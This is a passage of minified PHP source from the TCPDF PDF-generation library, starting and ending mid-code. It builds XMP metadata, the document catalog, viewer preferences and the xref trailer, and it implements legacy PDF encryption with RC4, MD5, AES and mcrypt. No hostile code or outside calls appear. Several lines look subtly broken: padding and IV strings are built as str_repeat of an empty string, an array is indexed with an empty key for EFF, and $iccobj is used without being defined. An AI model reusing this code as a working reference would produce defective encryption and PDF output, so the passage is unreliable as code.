";$xmp.=" ".'</dc:title>'."
";$xmp.=" ".'<dc:creator>'."
";$xmp.=" ".'<rdf:Seq>'."
";$xmp.=" ".'<rdf:li>'.TCPDF_STATIC::_escapeXML($this->author).'</rdf:li>'."
";$xmp.=" ".'</rdf:Seq>'."
";$xmp.=" ".'</dc:creator>'."
";$xmp.=" ".'<dc:description>'."
";$xmp.=" ".'<rdf:Alt>'."
";$xmp.=" ".'<rdf:li xml:lang="x-default">'.TCPDF_STATIC::_escapeXML($this->subject).'</rdf:li>'."
";$xmp.=" ".'</rdf:Alt>'."
";$xmp.=" ".'</dc:description>'."
";$xmp.=" ".'<dc:subject>'."
";$xmp.=" ".'<rdf:Bag>'."
";$xmp.=" ".'<rdf:li>'.TCPDF_STATIC::_escapeXML($this->keywords).'</rdf:li>'."
";$xmp.=" ".'</rdf:Bag>'."
";$xmp.=" ".'</dc:subject>'."
";$xmp.=" ".'</rdf:Description>'."
";$dcdate=TCPDF_STATIC::getFormattedDate($this->doc_creation_timestamp);$doccreationdate=substr($dcdate,0,4).'-'.substr($dcdate,4,2).'-'.substr($dcdate,6,2);$doccreationdate.='T'.substr($dcdate,8,2).':'.substr($dcdate,10,2).':'.substr($dcdate,12,2);$doccreationdate.=substr($dcdate,14,3).':'.substr($dcdate,18,2);$doccreationdate=TCPDF_STATIC::_escapeXML($doccreationdate);$dmdate=TCPDF_STATIC::getFormattedDate($this->doc_modification_timestamp);$docmoddate=substr($dmdate,0,4).'-'.substr($dmdate,4,2).'-'.substr($dmdate,6,2);$docmoddate.='T'.substr($dmdate,8,2).':'.substr($dmdate,10,2).':'.substr($dmdate,12,2);$docmoddate.=substr($dmdate,14,3).':'.substr($dmdate,18,2);$docmoddate=TCPDF_STATIC::_escapeXML($docmoddate);$xmp.=" ".'<rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/">'."
";$xmp.=" ".'<xmp:CreateDate>'.$doccreationdate.'</xmp:CreateDate>'."
";$xmp.=" ".'<xmp:CreatorTool>'.$this->creator.'</xmp:CreatorTool>'."
";$xmp.=" ".'<xmp:ModifyDate>'.$docmoddate.'</xmp:ModifyDate>'."
";$xmp.=" ".'<xmp:MetadataDate>'.$doccreationdate.'</xmp:MetadataDate>'."
";$xmp.=" ".'</rdf:Description>'."
";$xmp.=" ".'<rdf:Description rdf:about="" xmlns:pdf="http://ns.adobe.com/pdf/1.3/">'."
";$xmp.=" ".'<pdf:Keywords>'.TCPDF_STATIC::_escapeXML($this->keywords).'</pdf:Keywords>'."
";$xmp.=" ".'<pdf:Producer>'.TCPDF_STATIC::_escapeXML(TCPDF_STATIC::getTCPDFProducer()).'</pdf:Producer>'."
";$xmp.=" ".'</rdf:Description>'."
";$xmp.=" ".'<rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/">'."
";$uuid='uuid:'.substr($this->file_id,0,8).'-'.substr($this->file_id,8,4).'-'.substr($this->file_id,12,4).'-'.substr($this->file_id,16,4).'-'.substr($this->file_id,20,12);$xmp.=" ".'<xmpMM:DocumentID>'.$uuid.'</xmpMM:DocumentID>'."
";$xmp.=" ".'<xmpMM:InstanceID>'.$uuid.'</xmpMM:InstanceID>'."
";$xmp.=" ".'</rdf:Description>'."
";if($this->pdfa_mode){$xmp.=" ".'<rdf:Description rdf:about="" xmlns:pdfaid="http://www.aiim.org/pdfa/ns/id/">'."
";$xmp.=" ".'<pdfaid:part>1</pdfaid:part>'."
";$xmp.=" ".'<pdfaid:conformance>B</pdfaid:conformance>'."
";$xmp.=" ".'</rdf:Description>'."
";}$xmp.=" ".'<rdf:Description rdf:about="" xmlns:pdfaExtension="http://www.aiim.org/pdfa/ns/extension/" xmlns:pdfaSchema="http://www.aiim.org/pdfa/ns/schema#" xmlns:pdfaProperty="http://www.aiim.org/pdfa/ns/property#">'."
";$xmp.=" ".'<pdfaExtension:schemas>'."
";$xmp.=" ".'<rdf:Bag>'."
";$xmp.=" ".'<rdf:li rdf:parseType="Resource">'."
";$xmp.=" ".'<pdfaSchema:namespaceURI>http://ns.adobe.com/pdf/1.3/</pdfaSchema:namespaceURI>'."
";$xmp.=" ".'<pdfaSchema:prefix>pdf</pdfaSchema:prefix>'."
";$xmp.=" ".'<pdfaSchema:schema>Adobe PDF Schema</pdfaSchema:schema>'."
";$xmp.=" ".'</rdf:li>'."
";$xmp.=" ".'<rdf:li rdf:parseType="Resource">'."
";$xmp.=" ".'<pdfaSchema:namespaceURI>http://ns.adobe.com/xap/1.0/mm/</pdfaSchema:namespaceURI>'."
";$xmp.=" ".'<pdfaSchema:prefix>xmpMM</pdfaSchema:prefix>'."
";$xmp.=" ".'<pdfaSchema:schema>XMP Media Management Schema</pdfaSchema:schema>'."
";$xmp.=" ".'<pdfaSchema:property>'."
";$xmp.=" ".'<rdf:Seq>'."
";$xmp.=" ".'<rdf:li rdf:parseType="Resource">'."
";$xmp.=" ".'<pdfaProperty:category>internal</pdfaProperty:category>'."
";$xmp.=" ".'<pdfaProperty:description>UUID based identifier for specific incarnation of a document</pdfaProperty:description>'."
";$xmp.=" ".'<pdfaProperty:name>InstanceID</pdfaProperty:name>'."
";$xmp.=" ".'<pdfaProperty:valueType>URI</pdfaProperty:valueType>'."
";$xmp.=" ".'</rdf:li>'."
";$xmp.=" ".'</rdf:Seq>'."
";$xmp.=" ".'</pdfaSchema:property>'."
";$xmp.=" ".'</rdf:li>'."
";$xmp.=" ".'<rdf:li rdf:parseType="Resource">'."
";$xmp.=" ".'<pdfaSchema:namespaceURI>http://www.aiim.org/pdfa/ns/id/</pdfaSchema:namespaceURI>'."
";$xmp.=" ".'<pdfaSchema:prefix>pdfaid</pdfaSchema:prefix>'."
";$xmp.=" ".'<pdfaSchema:schema>PDF/A ID Schema</pdfaSchema:schema>'."
";$xmp.=" ".'<pdfaSchema:property>'."
";$xmp.=" ".'<rdf:Seq>'."
";$xmp.=" ".'<rdf:li rdf:parseType="Resource">'."
";$xmp.=" ".'<pdfaProperty:category>internal</pdfaProperty:category>'."
";$xmp.=" ".'<pdfaProperty:description>Part of PDF/A standard</pdfaProperty:description>'."
";$xmp.=" ".'<pdfaProperty:name>part</pdfaProperty:name>'."
";$xmp.=" ".'<pdfaProperty:valueType>Integer</pdfaProperty:valueType>'."
";$xmp.=" ".'</rdf:li>'."
";$xmp.=" ".'<rdf:li rdf:parseType="Resource">'."
";$xmp.=" ".'<pdfaProperty:category>internal</pdfaProperty:category>'."
";$xmp.=" ".'<pdfaProperty:description>Amendment of PDF/A standard</pdfaProperty:description>'."
";$xmp.=" ".'<pdfaProperty:name>amd</pdfaProperty:name>'."
";$xmp.=" ".'<pdfaProperty:valueType>Text</pdfaProperty:valueType>'."
";$xmp.=" ".'</rdf:li>'."
";$xmp.=" ".'<rdf:li rdf:parseType="Resource">'."
";$xmp.=" ".'<pdfaProperty:category>internal</pdfaProperty:category>'."
";$xmp.=" ".'<pdfaProperty:description>Conformance level of PDF/A standard</pdfaProperty:description>'."
";$xmp.=" ".'<pdfaProperty:name>conformance</pdfaProperty:name>'."
";$xmp.=" ".'<pdfaProperty:valueType>Text</pdfaProperty:valueType>'."
";$xmp.=" ".'</rdf:li>'."
";$xmp.=" ".'</rdf:Seq>'."
";$xmp.=" ".'</pdfaSchema:property>'."
";$xmp.=" ".'</rdf:li>'."
";$xmp.=" ".'</rdf:Bag>'."
";$xmp.=" ".'</pdfaExtension:schemas>'."
";$xmp.=" ".'</rdf:Description>'."
";$xmp.=" ".'</rdf:RDF>'."
";$xmp.=$this->custom_xmp;$xmp.='</x:xmpmeta>'."
";$xmp.='<?xpacket end="w"?>';$out='<< /Type /Metadata /Subtype /XML /Length '.strlen($xmp).' >> stream'."
".$xmp."
".'endstream'."
".'endobj';$this->isunicode=$prev_isunicode;$this->encrypted=$prev_encrypted;$this->_out($out);return $oid;} function _putcatalog(){$xmpobj=$this->_putXMP();$oid=$this->_newobj();$out='<< /Type /Catalog';$out.=' /Version /'.$this->PDFVersion;$out.=' /Pages 1 0 R';$out.=' /Names <<';if((!$this->pdfa_mode) AND !empty($this->n_js)){$out.=' /JavaScript '.$this->n_js;}if(!empty($this->efnames)){$out.=' /EmbeddedFiles <</Names [';foreach($this->efnames AS $fn=>$fref){$out.=' '.$this->_datastring($fn).' '.$fref;}$out.=' ]>>';}$out.=' >>';if(!empty($this->dests)){$out.=' /Dests '.($this->n_dests).' 0 R';}$out.=$this->_putviewerpreferences();if(isset($this->LayoutMode) AND (!TCPDF_STATIC::empty_string($this->LayoutMode))){$out.=' /PageLayout /'.$this->LayoutMode;}if(isset($this->PageMode) AND (!TCPDF_STATIC::empty_string($this->PageMode))){$out.=' /PageMode /'.$this->PageMode;}if(count($this->outlines)>0){$out.=' /Outlines '.$this->OutlineRoot.' 0 R';$out.=' /PageMode /UseOutlines';}if($this->ZoomMode=='fullpage'){$out.=' /OpenAction ['.$this->page_obj_id[1].' 0 R /Fit]';}elseif($this->ZoomMode=='fullwidth'){$out.=' /OpenAction ['.$this->page_obj_id[1].' 0 R /FitH null]';}elseif($this->ZoomMode=='real'){$out.=' /OpenAction ['.$this->page_obj_id[1].' 0 R /XYZ null null 1]';}elseif(!is_string($this->ZoomMode)){$out.=sprintf(' /OpenAction ['.$this->page_obj_id[1].' 0 R /XYZ null null %F]',($this->ZoomMode/100));}$out.=' /Metadata '.$xmpobj.' 0 R';if(isset($this->l['a_meta_language'])){$out.=' /Lang '.$this->_textstring($this->l['a_meta_language'],$oid);}if($this->pdfa_mode OR $this->force_srgb){$out.=' /OutputIntents [<<';$out.=' /Type /OutputIntent';$out.=' /S /GTS_PDFA1';$out.=' /OutputCondition '.$this->_textstring('sRGB IEC61966-2.1',$oid);$out.=' /OutputConditionIdentifier '.$this->_textstring('sRGB IEC61966-2.1',$oid);$out.=' /RegistryName '.$this->_textstring('http://www.color.org',$oid);$out.=' /Info '.$this->_textstring('sRGB IEC61966-2.1',$oid);$out.=' /DestOutputProfile '.$iccobj.' 0 R';$out.=' >>]';}if(!empty($this->pdflayers)){$lyrobjs='';$lyrobjs_off='';$lyrobjs_lock='';foreach($this->pdflayers as $layer){$layer_obj_ref=' '.$layer['objid'].' 0 R';$lyrobjs.=$layer_obj_ref;if($layer['view']===false){$lyrobjs_off.=$layer_obj_ref;}if($layer['lock']){$lyrobjs_lock.=$layer_obj_ref;}}$out.=' /OCProperties << /OCGs ['.$lyrobjs.']';$out.=' /D <<';$out.=' /Name '.$this->_textstring('Layers',$oid);$out.=' /Creator '.$this->_textstring('TCPDF',$oid);$out.=' /BaseState /ON';$out.=' /OFF ['.$lyrobjs_off.']';$out.=' /Locked ['.$lyrobjs_lock.']';$out.=' /Intent /View';$out.=' /AS [';$out.=' << /Event /Print /OCGs ['.$lyrobjs.'] /Category [/Print] >>';$out.=' << /Event /View /OCGs ['.$lyrobjs.'] /Category [/View] >>';$out.=' ]';$out.=' /Order ['.$lyrobjs.']';$out.=' /ListMode /AllPages';$out.=' >>';$out.=' >>';}if(!empty($this->form_obj_id) OR ($this->sign AND isset($this->signature_data['cert_type'])) OR !empty($this->empty_signature_appearance)){$out.=' /AcroForm <<';$objrefs='';if($this->sign AND isset($this->signature_data['cert_type'])){$objrefs.=$this->sig_obj_id.' 0 R';}if(!empty($this->empty_signature_appearance)){foreach($this->empty_signature_appearance as $esa){$objrefs.=' '.$esa['objid'].' 0 R';}}if(!empty($this->form_obj_id)){foreach($this->form_obj_id as $objid){$objrefs.=' '.$objid.' 0 R';}}$out.=' /Fields ['.$objrefs.']';if(empty($this->signature_data['approval']) OR ($this->signature_data['approval']!='A')){$out.=' /NeedAppearances false';}if($this->sign AND isset($this->signature_data['cert_type'])){if($this->signature_data['cert_type']>0){$out.=' /SigFlags 3';}else {$out.=' /SigFlags 1';}}if(isset($this->annotation_fonts) AND !empty($this->annotation_fonts)){$out.=' /DR <<';$out.=' /Font <<';foreach($this->annotation_fonts as $fontkey=>$fontid){$out.=' /F'.$fontid.' '.$this->font_obj_ids[$fontkey].' 0 R';}$out.=' >> >>';}$font=$this->getFontBuffer('helvetica');$out.=' /DA (/F'.$font['i'].' 0 Tf 0 g)';$out.=' /Q '.(($this->rtl)?'2':'0');$out.=' >>';if($this->sign AND isset($this->signature_data['cert_type']) AND (empty($this->signature_data['approval']) OR ($this->signature_data['approval']!='A'))){if($this->signature_data['cert_type']>0){$out.=' /Perms << /DocMDP '.($this->sig_obj_id+1).' 0 R >>';}else {$out.=' /Perms << /UR3 '.($this->sig_obj_id+1).' 0 R >>';}}}$out.=' >>';$out.="
".'endobj';$this->_out($out);return $oid;} function _putviewerpreferences(){$vp=$this->viewer_preferences;$out=' /ViewerPreferences <<';if($this->rtl){$out.=' /Direction /R2L';}else {$out.=' /Direction /L2R';}if(isset($vp['HideToolbar']) AND ($vp['HideToolbar'])){$out.=' /HideToolbar true';}if(isset($vp['HideMenubar']) AND ($vp['HideMenubar'])){$out.=' /HideMenubar true';}if(isset($vp['HideWindowUI']) AND ($vp['HideWindowUI'])){$out.=' /HideWindowUI true';}if(isset($vp['FitWindow']) AND ($vp['FitWindow'])){$out.=' /FitWindow true';}if(isset($vp['CenterWindow']) AND ($vp['CenterWindow'])){$out.=' /CenterWindow true';}if(isset($vp['DisplayDocTitle']) AND ($vp['DisplayDocTitle'])){$out.=' /DisplayDocTitle true';}if(isset($vp['NonFullScreenPageMode'])){$out.=' /NonFullScreenPageMode /'.$vp['NonFullScreenPageMode'];}if(isset($vp['ViewArea'])){$out.=' /ViewArea /'.$vp['ViewArea'];}if(isset($vp['ViewClip'])){$out.=' /ViewClip /'.$vp['ViewClip'];}if(isset($vp['PrintArea'])){$out.=' /PrintArea /'.$vp['PrintArea'];}if(isset($vp['PrintClip'])){$out.=' /PrintClip /'.$vp['PrintClip'];}if(isset($vp['PrintScaling'])){$out.=' /PrintScaling /'.$vp['PrintScaling'];}if(isset($vp['Duplex']) AND (!TCPDF_STATIC::empty_string($vp['Duplex']))){$out.=' /Duplex /'.$vp['Duplex'];}if(isset($vp['PickTrayByPDFSize'])){if($vp['PickTrayByPDFSize']){$out.=' /PickTrayByPDFSize true';}else {$out.=' /PickTrayByPDFSize false';}}if(isset($vp['PrintPageRange'])){$PrintPageRangeNum='';foreach($vp['PrintPageRange'] as $k=>$v){$PrintPageRangeNum.=' '.($v-1).'';}$out.=' /PrintPageRange ['.substr($PrintPageRangeNum,1).']';}if(isset($vp['NumCopies'])){$out.=' /NumCopies '.intval($vp['NumCopies']);}$out.=' >>';return $out;} function _putheader(){$this->_out('%PDF-'.$this->PDFVersion);$this->_out('%'.chr(0xe2).chr(0xe3).chr(0xcf).chr(0xd3));} function _enddoc(){if(isset($this->CurrentFont['fontkey']) AND isset($this->CurrentFont['subsetchars'])){$this->setFontSubBuffer($this->CurrentFont['fontkey'],'subsetchars',$this->CurrentFont['subsetchars']);}$this->state=1;$this->_putheader();$this->_putpages();$this->_putresources();if(!empty($this->empty_signature_appearance)){foreach($this->empty_signature_appearance as $key=>$esa){$out=$this->_getobj($esa['objid'])."
";$out.='<< /Type /Annot';$out.=' /Subtype /Widget';$out.=' /Rect ['.$esa['rect'].']';$out.=' /P '.$this->page_obj_id[($esa['page'])].' 0 R';$out.=' /F 4';$out.=' /FT /Sig';$signame=$esa['name'].sprintf(' [%03d]',($key+1));$out.=' /T '.$this->_textstring($signame,$esa['objid']);$out.=' /Ff 0';$out.=' >>';$out.="
".'endobj';$this->_out($out);}}if($this->sign AND isset($this->signature_data['cert_type'])){$out=$this->_getobj($this->sig_obj_id)."
";$out.='<< /Type /Annot';$out.=' /Subtype /Widget';$out.=' /Rect ['.$this->signature_appearance['rect'].']';$out.=' /P '.$this->page_obj_id[($this->signature_appearance['page'])].' 0 R';$out.=' /F 4';$out.=' /FT /Sig';$out.=' /T '.$this->_textstring($this->signature_appearance['name'],$this->sig_obj_id);$out.=' /Ff 0';$out.=' /V '.($this->sig_obj_id+1).' 0 R';$out.=' >>';$out.="
".'endobj';$this->_out($out);$this->_putsignature();}$objid_info=$this->_putinfo();$objid_catalog=$this->_putcatalog();$o=$this->bufferlen;$this->_out('xref');$this->_out('0 '.($this->n+1));$this->_out('0000000000 65535 f ');$freegen=($this->n+2);for($i=1;$i<=$this->n;++$i){if(!isset($this->offsets[$i]) AND ($i>1)){$this->_out(sprintf('0000000000 %05d f ',$freegen));++$freegen;}else {$this->_out(sprintf('%010d 00000 n ',$this->offsets[$i]));}}$out='trailer'."
";$out.='<<';$out.=' /Size '.($this->n+1);$out.=' /Root '.$objid_catalog.' 0 R';$out.=' /Info '.$objid_info.' 0 R';if($this->encrypted){$out.=' /Encrypt '.$this->encryptdata['objid'].' 0 R';}$out.=' /ID [ <'.$this->file_id.'> <'.$this->file_id.'> ]';$out.=' >>';$this->_out($out);$this->_out('startxref');$this->_out($o);$this->_out('%%EOF');$this->state=3;} function _beginpage($orientation='',$format=''){++$this->page;$this->pageobjects[$this->page]=array();$this->setPageBuffer($this->page,'');$this->transfmrk[$this->page]=array();$this->state=2;if(TCPDF_STATIC::empty_string($orientation)){if(isset($this->CurOrientation)){$orientation=$this->CurOrientation;}elseif($this->fwPt>$this->fhPt){$orientation='L';}else {$orientation='P';}}if(TCPDF_STATIC::empty_string($format)){$this->pagedim[$this->page]=$this->pagedim[($this->page-1)];$this->setPageOrientation($orientation);}else {$this->setPageFormat($format,$orientation);}if($this->rtl){$this->x=$this->w-$this->rMargin;}else {$this->x=$this->lMargin;}$this->y=$this->tMargin;if(isset($this->newpagegroup[$this->page])){$this->currpagegroup=$this->newpagegroup[$this->page];$this->pagegroups[$this->currpagegroup]=1;}elseif(isset($this->currpagegroup) AND ($this->currpagegroup>0)){++$this->pagegroups[$this->currpagegroup];}} function _endpage(){$this->setVisibility('all');$this->state=1;} function _newobj(){$this->_out($this->_getobj());return $this->n;} function _getobj($objid=''){if($objid===''){++$this->n;$objid=$this->n;}$this->offsets[$objid]=$this->bufferlen;$this->pageobjects[$this->page][]=$objid;return $objid.' 0 obj';} function _dounderline($x,$y,$txt){$w=$this->GetStringWidth($txt);return $this->_dounderlinew($x,$y,$w);} function _dounderlinew($x,$y,$w){$linew=-$this->CurrentFont['ut']/1000*$this->FontSizePt;return sprintf('%F %F %F %F re f',$x*$this->k,((($this->h-$y)*$this->k)+$linew),$w*$this->k,$linew);} function _dolinethrough($x,$y,$txt){$w=$this->GetStringWidth($txt);return $this->_dolinethroughw($x,$y,$w);} function _dolinethroughw($x,$y,$w){$linew=-$this->CurrentFont['ut']/1000*$this->FontSizePt;return sprintf('%F %F %F %F re f',$x*$this->k,((($this->h-$y)*$this->k)+$linew+($this->FontSizePt/3)),$w*$this->k,$linew);} function _dooverline($x,$y,$txt){$w=$this->GetStringWidth($txt);return $this->_dooverlinew($x,$y,$w);} function _dooverlinew($x,$y,$w){$linew=-$this->CurrentFont['ut']/1000*$this->FontSizePt;return sprintf('%F %F %F %F re f',$x*$this->k,(($this->h-$y+$this->FontAscent)*$this->k)-$linew,$w*$this->k,$linew);} function _datastring($s,$n=0){if($n==0){$n=$this->n;}$s=$this->_encrypt_data($n,$s);return '('.TCPDF_STATIC::_escape($s).')';} function setDocCreationTimestamp($time){if(is_string($time)){$time=TCPDF_STATIC::getTimestamp($time);}$this->doc_creation_timestamp=intval($time);} function setDocModificationTimestamp($time){if(is_string($time)){$time=TCPDF_STATIC::getTimestamp($time);}$this->doc_modification_timestamp=intval($time);} function getDocCreationTimestamp(){return $this->doc_creation_timestamp;} function getDocModificationTimestamp(){return $this->doc_modification_timestamp;} function _datestring($n=0,$timestamp=0){if((empty($timestamp)) OR ($timestamp<0)){$timestamp=$this->doc_creation_timestamp;}return $this->_datastring('D:'.TCPDF_STATIC::getFormattedDate($timestamp),$n);} function _textstring($s,$n=0){if($this->isunicode){$s=TCPDF_FONTS::UTF8ToUTF16BE($s,true,$this->isunicode,$this->CurrentFont);}return $this->_datastring($s,$n);} function _getrawstream($s,$n=0){if($n<=0){$n=$this->n;}return $this->_encrypt_data($n,$s);} function _out($s){if($this->state==2){if($this->inxobj){$this->xobjects[$this->xobjid]['outdata'].=$s."
";}elseif((!$this->InFooter) AND isset($this->footerlen[$this->page]) AND ($this->footerlen[$this->page]>0)){$pagebuff=$this->getPageBuffer($this->page);$page=substr($pagebuff,0,-$this->footerlen[$this->page]);$footer=substr($pagebuff,-$this->footerlen[$this->page]);$this->setPageBuffer($this->page,$page.$s."
".$footer);$this->footerpos[$this->page]+=strlen($s."
");}else {$this->setPageBuffer($this->page,$s."
",true);}}elseif($this->state>0){$this->setBuffer($s."
");}} function setHeaderFont($font){$this->header_font=$font;} function getHeaderFont(){return $this->header_font;} function setFooterFont($font){$this->footer_font=$font;} function getFooterFont(){return $this->footer_font;} function setLanguageArray($language){$this->l=$language;if(isset($this->l['a_meta_dir'])){$this->rtl=$this->l['a_meta_dir']=='rtl'?true:false;}else {$this->rtl=false;}} function getPDFData(){if($this->state<3){$this->Close();}return $this->buffer;} function addHtmlLink($url,$name,$fill=false,$firstline=false,$color='',$style=-1,$firstblock=false){if(isset($url[1]) AND ($url[0]=='#') AND is_numeric($url[1])){$lnkdata=explode(',',$url);if(isset($lnkdata[0])){$page=substr($lnkdata[0],1);if(isset($lnkdata[1]) AND (strlen($lnkdata[1])>0)){$lnky=floatval($lnkdata[1]);}else {$lnky=0;}$url=$this->AddLink();$this->SetLink($url,$lnky,$page);}}$prevcolor=$this->fgcolor;$prevstyle=$this->FontStyle;if(empty($color)){$this->SetTextColorArray($this->htmlLinkColorArray);}else {$this->SetTextColorArray($color);}if($style==-1){$this->SetFont('',$this->FontStyle.$this->htmlLinkFontStyle);}else {$this->SetFont('',$this->FontStyle.$style);}$ret=$this->Write($this->lasth,$name,$url,$fill,'',false,0,$firstline,$firstblock,0);$this->SetFont('',$prevstyle);$this->SetTextColorArray($prevcolor);return $ret;} function pixelsToUnits($px){return ($px/($this->imgscale*$this->k));} function unhtmlentities($text_to_convert){return @html_entity_decode($text_to_convert,ENT_QUOTES,$this->encoding);} function _objectkey($n){$objkey=$this->encryptdata['key'].pack('VXxx',$n);if($this->encryptdata['mode']==2){$objkey.="sAlT";}$objkey=substr(TCPDF_STATIC::_md5_16($objkey),0,(($this->encryptdata['Length']/8)+5));$objkey=substr($objkey,0,16);return $objkey;} function _encrypt_data($n,$s){if(!$this->encrypted){return $s;}switch($this->encryptdata['mode']){case 0:case 1:{$s=TCPDF_STATIC::_RC4($this->_objectkey($n),$s,$this->last_enc_key,$this->last_enc_key_c);break;}case 2:{$s=TCPDF_STATIC::_AES($this->_objectkey($n),$s);break;}case 3:{$s=TCPDF_STATIC::_AES($this->encryptdata['key'],$s);break;}}return $s;} function _putencryption(){if(!$this->encrypted){return;}$this->encryptdata['objid']=$this->_newobj();$out='<<';if(!isset($this->encryptdata['Filter']) OR empty($this->encryptdata['Filter'])){$this->encryptdata['Filter']='Standard';}$out.=' /Filter /'.$this->encryptdata['Filter'];if(isset($this->encryptdata['SubFilter']) AND !empty($this->encryptdata['SubFilter'])){$out.=' /SubFilter /'.$this->encryptdata['SubFilter'];}if(!isset($this->encryptdata['V']) OR empty($this->encryptdata['V'])){$this->encryptdata['V']=1;}$out.=' /V '.$this->encryptdata['V'];if(isset($this->encryptdata['Length']) AND !empty($this->encryptdata['Length'])){$out.=' /Length '.$this->encryptdata['Length'];}else {$out.=' /Length 40';}if($this->encryptdata['V']>=4){if(!isset($this->encryptdata['StmF']) OR empty($this->encryptdata['StmF'])){$this->encryptdata['StmF']='Identity';}if(!isset($this->encryptdata['StrF']) OR empty($this->encryptdata['StrF'])){$this->encryptdata['StrF']='Identity';}if(isset($this->encryptdata['CF']) AND !empty($this->encryptdata['CF'])){$out.=' /CF <<';$out.=' /'.$this->encryptdata['StmF'].' <<';$out.=' /Type /CryptFilter';if(isset($this->encryptdata['CF']['CFM']) AND !empty($this->encryptdata['CF']['CFM'])){$out.=' /CFM /'.$this->encryptdata['CF']['CFM'];if($this->encryptdata['pubkey']){$out.=' /Recipients [';foreach($this->encryptdata['Recipients'] as $rec){$out.=' <'.$rec.'>';}$out.=' ]';if(isset($this->encryptdata['CF']['EncryptMetadata']) AND (!$this->encryptdata['CF']['EncryptMetadata'])){$out.=' /EncryptMetadata false';}else {$out.=' /EncryptMetadata true';}}}else {$out.=' /CFM /None';}if(isset($this->encryptdata['CF']['AuthEvent']) AND !empty($this->encryptdata['CF']['AuthEvent'])){$out.=' /AuthEvent /'.$this->encryptdata['CF']['AuthEvent'];}else {$out.=' /AuthEvent /DocOpen';}if(isset($this->encryptdata['CF']['Length']) AND !empty($this->encryptdata['CF']['Length'])){$out.=' /Length '.$this->encryptdata['CF']['Length'];}$out.=' >> >>';}$out.=' /StmF /'.$this->encryptdata['StmF'];$out.=' /StrF /'.$this->encryptdata['StrF'];if(isset($this->encryptdata['EFF']) AND !empty($this->encryptdata['EFF'])){$out.=' /EFF /'.$this->encryptdata[''];}}if($this->encryptdata['pubkey']){if(($this->encryptdata['V']<4) AND isset($this->encryptdata['Recipients']) AND !empty($this->encryptdata['Recipients'])){$out.=' /Recipients [';foreach($this->encryptdata['Recipients'] as $rec){$out.=' <'.$rec.'>';}$out.=' ]';}}else {$out.=' /R';if($this->encryptdata['V']==5){$out.=' 5';$out.=' /OE ('.TCPDF_STATIC::_escape($this->encryptdata['OE']).')';$out.=' /UE ('.TCPDF_STATIC::_escape($this->encryptdata['UE']).')';$out.=' /Perms ('.TCPDF_STATIC::_escape($this->encryptdata['perms']).')';}elseif($this->encryptdata['V']==4){$out.=' 4';}elseif($this->encryptdata['V']<2){$out.=' 2';}else {$out.=' 3';}$out.=' /O ('.TCPDF_STATIC::_escape($this->encryptdata['O']).')';$out.=' /U ('.TCPDF_STATIC::_escape($this->encryptdata['U']).')';$out.=' /P '.$this->encryptdata['P'];if(isset($this->encryptdata['EncryptMetadata']) AND (!$this->encryptdata['EncryptMetadata'])){$out.=' /EncryptMetadata false';}else {$out.=' /EncryptMetadata true';}}$out.=' >>';$out.="
".'endobj';$this->_out($out);} function _Uvalue(){if($this->encryptdata['mode']==0){return TCPDF_STATIC::_RC4($this->encryptdata['key'],TCPDF_STATIC::$enc_padding,$this->last_enc_key,$this->last_enc_key_c);}elseif($this->encryptdata['mode']<3){$tmp=TCPDF_STATIC::_md5_16(TCPDF_STATIC::$enc_padding.$this->encryptdata['fileid']);$enc=TCPDF_STATIC::_RC4($this->encryptdata['key'],$tmp,$this->last_enc_key,$this->last_enc_key_c);$len=strlen($tmp);for($i=1;$i<=19;++$i){$ek='';for($j=0;$j<$len;++$j){$ek.=chr(ord($this->encryptdata['key'][$j])^$i);}$enc=TCPDF_STATIC::_RC4($ek,$enc,$this->last_enc_key,$this->last_enc_key_c);}$enc.=str_repeat("",16);return substr($enc,0,32);}elseif($this->encryptdata['mode']==3){$seed=TCPDF_STATIC::_md5_16(TCPDF_STATIC::getRandomSeed());$this->encryptdata['UVS']=substr($seed,0,8);$this->encryptdata['UKS']=substr($seed,8,16);return hash('sha256',$this->encryptdata['user_password'].$this->encryptdata['UVS'],true).$this->encryptdata['UVS'].$this->encryptdata['UKS'];}} function _UEvalue(){$hashkey=hash('sha256',$this->encryptdata['user_password'].$this->encryptdata['UKS'],true);$iv=str_repeat("",mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128,MCRYPT_MODE_CBC));return mcrypt_encrypt(MCRYPT_RIJNDAEL_128,$hashkey,$this->encryptdata['key'],MCRYPT_MODE_CBC,$iv);} function _Ovalue(){if($this->encryptdata['mode']<3){$tmp=TCPDF_STATIC::_md5_16($this->encryptdata['owner_password']);if($this->encryptdata['mode']>0){for($i=0;$i<50;++$i){$tmp=TCPDF_STATIC::_md5_16($tmp);}}$owner_key=substr($tmp,0,($this->encryptdata['Length']/8));$enc=TCPDF_STATIC::_RC4($owner_key,$this->encryptdata['user_password'],$this->last_enc_key,$this->last_enc_key_c);if($this->encryptdata['mode']>0){$len=strlen($owner_key);for($i=1;$i<=19;++$i){$ek='';for($j=0;$j<$len;++$j){$ek.=chr(ord($owner_key[$j])^$i);}$enc=TCPDF_STATIC::_RC4($ek,$enc,$this->last_enc_key,$this->last_enc_key_c);}}return $enc;}elseif($this->encryptdata['mode']==3){$seed=TCPDF_STATIC::_md5_16(TCPDF_STATIC::getRandomSeed());$this->encryptdata['OVS']=substr($seed,0,8);$this->encryptdata['OKS']=substr($seed,8,16);return hash('sha256',$this->encryptdata['owner_password'].$this->encryptdata['OVS'].$this->encryptdata['U'],true).$this->encryptdata['OVS'].$this->encryptdata['OKS'];}} function _OEvalue(){$hashkey=hash('sha256',$this->encryptdata['owner_password'].$this->encryptdata['OKS'].$this->encryptdata['U'],true);$iv=str_repeat("",mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128,MCRYPT_MODE_CBC));return mcrypt_encrypt(MCRYPT_RIJNDAEL_128,$hashkey,$this->encryptdata['key'],MCRYPT_MODE_CBC,$iv);} function _fixAES256Password($password){$psw='';$psw_array=TCPDF_FONTS::utf8Bidi(TCPDF_FONTS::UTF8StringToArray($password,$this->isunicode,$this->CurrentFont),$password,$this->rtl,$this->isunicode,$this->CurrentFont);foreach($psw_array as $c){$psw.=TCPDF_FONTS::unichr($c,$this->isunicode);}return substr($psw,0,127);} function 